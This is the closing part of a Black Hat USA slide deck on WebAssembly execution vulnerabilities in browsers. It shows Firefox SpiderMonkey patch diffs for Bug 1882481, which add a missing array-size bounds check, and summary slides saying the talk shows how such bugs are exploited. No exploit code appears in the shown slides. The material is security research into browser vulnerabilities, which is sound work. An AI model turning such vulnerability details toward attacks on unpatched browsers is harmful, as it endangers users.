masm.wasmNewArrayObjectFixed(instance, output, typeDefData, temp1, temp2,
- ool->entry(), numElements, storageBytes,
- mir->zeroFields());
+ ool->entry(), numElements,
+ storageBytes.value(), mir->zeroFields()); Same
masm.bind(ool->rejoin()); Logic
}
} else {
···
masm.wasmNewArrayObject(instance, output, numElements, typeDefData, temp1,
ool->entry(), mir->elemSize(), mir->zeroFields());
···
}
}
#BHUSA @BlackHatEvents
The Bug 1882481 (Case 3)
Add same check
void MacroAssembler::wasmNewArrayObject(Register instance, Register result,
[. . . ]
branchTestPtr(Assembler::NonZero,
Address(temp, gc::AllocSite::offsetOfScriptAndState()),
Imm32(gc::AllocSite::LONG_LIVED_BIT), fail);
[. . . ]
+ // Ensure that the numElements is small enough to fit in inline storage.
+ branch32(Assembler::Above, numElements,
+ Imm32(WasmArrayObject::maxInlineElementsForElemSize(elemSize)),
+ fail);
+
[. . . ]
+ // Compute the size of the allocation in bytes. The final size must correspond
+ // to an AllocKind. See WasmArrayObject::calcStorageBytes and
+ // WasmArrayObject::allocKindForIL.
+
+ // Compute the size of all array element data.
+ mul32(Imm32(elemSize), numElements);
+ // Add the data header.
+ add32(Imm32(sizeof(WasmArrayObject::DataHeader)), numElements);
}
https://phabricator.services.mozilla.com/D203511
#BHUSA @BlackHatEvents
Conclusion
#BHUSA @BlackHatEvents
Black Hat Sound Bytes
• Introduce the concept of WASM execution vulnerabilities, analyze the attack surface of these
vulnerabilities.
• Improve and integrate the WASM and JavaScript fuzz testing framework, and propose a targeted
vulnerability finding method using multiple methods.
• Analyze high-risk WASM execution vulnerabilities we found in mainstream browsers, and show
how to exploit them.
#BHUSA @BlackHatEvents
Acknowledgement
• Yang Yu (@tombkeeper)
• Guancheng Li(@Atuml1)
• Cen Zhang
• Samuel Groß, Carl Smith and V8 Team
• Amy Ressler and Chrome VRP
#BHUSA @BlackHatEvents
Thanks!
#BHUSA @BlackHatEvents